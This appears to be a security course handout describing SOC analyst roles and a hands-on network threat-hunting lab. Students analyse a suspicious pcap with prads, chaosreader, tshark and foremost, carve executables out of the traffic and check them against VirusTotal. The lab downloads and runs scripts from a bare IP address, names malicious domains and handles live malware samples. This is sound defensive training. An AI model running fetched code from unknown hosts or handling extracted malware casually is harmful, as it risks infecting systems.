  1118. # Security Operations Center Job Roles #
  1119. # Intrusion Analysis Level 1 #
  1120. #########################################
  1121. Required Technical Skills: Comfortable with basic Linux/Windows (MCSA/Linux+)
  1122. Comfortable with basic network (Network+)
  1123. Comfortable with security fundamentals (Security+)
  1124.  
  1125.  
  1126.  
  1127.  
  1128.  
  1129. Job Task: Process security events, follow incident response triage playbook
  1130.  
  1131. #########################################
  1132. # Security Operations Center Job Roles #
  1133. # Intrusion Analysis Level 2 #
  1134. #########################################
  1135.  
  1136. Required Technical Skills: Comfortable with basic Linux/Windows system administration
  1137. Comfortable with basic network administration
  1138. Comfortable with basic programming
  1139. Comfortable researching IT security issues
  1140.  
  1141.  
  1142.  
  1143.  
  1144.  
  1145. Job Task: Perform detailed malware analysis, assist with development of the incident response triage playbook
  1146.  
  1147. Sample Playbook: https://infosecaddicts-files.s3.amazonaws.com/IR-Program-and-Playbooks.zip
  1148.  
  1149.  
  1150.  
  1151. #########################################
  1152. # Security Operations Center Job Roles #
  1153. # Intrusion Analysis Level 3 #
  1154. #########################################
  1155.  
  1156. Required Technical Skills: Strong statistical analysis background
  1157. Strong programming background (C, C++, Java, Assembly, scripting languages)
  1158. Advanced system/network administration background
  1159. Comfortable researching IT security issues
  1160.  
  1161.  
  1162.  
  1163.  
  1164.  
  1165. Job Task: Perform detailed malware analysis
  1166. Perform detailed statistical analysis
  1167. Assist with development of the incident response triage playbook
  1168.  
  1169.  
  1170.  
  1171.  
  1172. #################################################
  1173. # Good references for learning Malware Analysis #
  1174. #################################################
  1175.  
  1176. References:
  1177. https://www.slideshare.net/SamBowne/cnit-126-ch-0-malware-analysis-primer-1-basic-static-techniques
  1178. https://www.slideshare.net/grecsl/malware-analysis-101-n00b-to-ninja-in-60-minutes-at-bsideslv-on-august-5-2014
  1179. https://www.slideshare.net/Bletchley131/intro-to-static-analysis
  1180.  
  1181.  
  1182.  
  1183. #####################################
  1184. ############################## # Day 2: Threat Hunting on the wire # ##############################
  1185. #####################################
  1186.  
  1187.  
  1188.  
  1189.  
  1190. - After logging please open a terminal window and type the following commands:
  1191. ---------------------------Type This-----------------------------------
  1192.  
  1193. cd ~/students/yourname/
  1194.  
  1195. mkdir pcap_analysis
  1196.  
  1197. cd ~/students/yourname/pcap_analysis
  1198. -----------------------------------------------------------------------
  1199.  
  1200.  
  1201.  
  1202.  
  1203. ##################################################################
  1204. # Analyzing a PCAP Prads #
  1205. # Note: run as regular user #
  1206. ##################################################################
  1207.  
  1208. ---------------------------Type this as a regular user----------------------------------
  1209.  
  1210.  
  1211. cd ~/students/yourname/pcap_analysis/
  1212.  
  1213. mkdir prads/
  1214.  
  1215. cd prads/
  1216.  
  1217. cp -R /home/ocodco/pcap_analysis/chaos_reader/*pcap .
  1218.  
  1219. prads -r suspicious-time.pcap -l prads-asset.log
  1220.  
  1221. cat prads-asset.log | less
  1222. q
  1223.  
  1224. cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
  1225.  
  1226. cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
  1227.  
  1228. cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
  1229. -----------------------------------------------------------------------
  1230.  
  1231.  
  1232.  
  1233.  
  1234. ##################################
  1235. # PCAP Analysis with ChaosReader #
  1236. # Note: run as regular user #
  1237. ##################################
  1238. ---------------------------Type this as a regular user----------------------------------
  1239. cd ~/students/yourname/pcap_analysis/
  1240.  
  1241. mkdir chaos_reader/
  1242.  
  1243. cd chaos_reader/
  1244.  
  1245. wget http://45.63.104.73/suspicious-time.pcap
  1246.  
  1247. wget http://45.63.104.73/chaosreader.pl
  1248.  
  1249. perl chaosreader.pl suspicious-time.pcap
  1250.  
  1251. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  1252.  
  1253. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  1254.  
  1255.  
  1256. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  1257.  
  1258.  
  1259.  
  1260. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u | awk '{print $5}' > url.lst
  1261.  
  1262.  
  1263. wget https://raw.githubusercontent.com/Open-Sec/forensics-scripts/master/check-urls-virustotal.py
  1264.  
  1265.  
  1266. python check-urls-virustotal.py url.lst
  1267.  
  1268.  
  1269.  
  1270. ------------------------------------------------------------------------
  1271.  
  1272.  
  1273.  
  1274.  
  1275.  
  1276.  
  1277.  
  1278.  
  1279. #############################
  1280. # PCAP Analysis with tshark #
  1281. # Note: run as regular user #
  1282. #############################
  1283. ---------------------------Type this as a regular user---------------------------------
  1284. cd ~/students/yourname/pcap_analysis/
  1285.  
  1286. mkdir tshark/
  1287.  
  1288. cd tshark/
  1289.  
  1290. cp -R /home/ocodco/pcap_analysis/chaos_reader/*pcap .
  1291.  
  1292. tshark -i ens3 -r suspicious-time.pcap -qz io,phs
  1293.  
  1294. tshark -r suspicious-time.pcap -qz ip_hosts,tree
  1295.  
  1296. tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
  1297.  
  1298. tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
  1299.  
  1300.  
  1301. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
  1302.  
  1303. whois rapidshare.com.eyu32.ru
  1304.  
  1305. whois sploitme.com.cn
  1306.  
  1307. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
  1308.  
  1309. tshark -r suspicious-time.pcap -qz http_req,tree
  1310.  
  1311. tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
  1312.  
  1313. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
  1314. ------------------------------------------------------------------------
  1315.  
  1316.  
  1317.  
  1318.  
  1319.  
  1320. ###############################
  1321. # Extracting files from PCAPs #
  1322. # Note: run as regular user #
  1323. ###############################
  1324. ---------------------------Type this as a regular user---------------------------------
  1325. cd ~/students/yourname/pcap_analysis/
  1326.  
  1327. mkdir extract_files
  1328.  
  1329. cd extract_files
  1330.  
  1331. wget http://45.63.104.73/suspicious-time.pcap
  1332.  
  1333. foremost -v -i suspicious-time.pcap
  1334.  
  1335. cd output
  1336.  
  1337. ls
  1338.  
  1339. cat audit.txt
  1340.  
  1341. cd exe
  1342.  
  1343. wget https://raw.githubusercontent.com/GREEKYnikhilsharma/Xen0ph0n-VirusTotal_API_Tool-Python3/master/vtlite.py
  1344. ---------------------------------------------------------------------------------------
  1345.  
  1346.  
  1347. ******* NOTE: You will need to put your virustotal API key in vtlite.py *******
  1348. * Create an account in virustotal > login > click on your profile > API key > copy API key > in terminal do nano vtlite.py >
  1349. * Paste the API key in where it says > profit
  1350. ********************************************************************************
  1351.  
  1352. ---------------------------Type this as a regular user---------------------------------
  1353. for f in *.exe; do python3 vtlite.py -s $f; sleep 20; done
  1354. ---------------------------------------------------------------------------------------
  1355.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement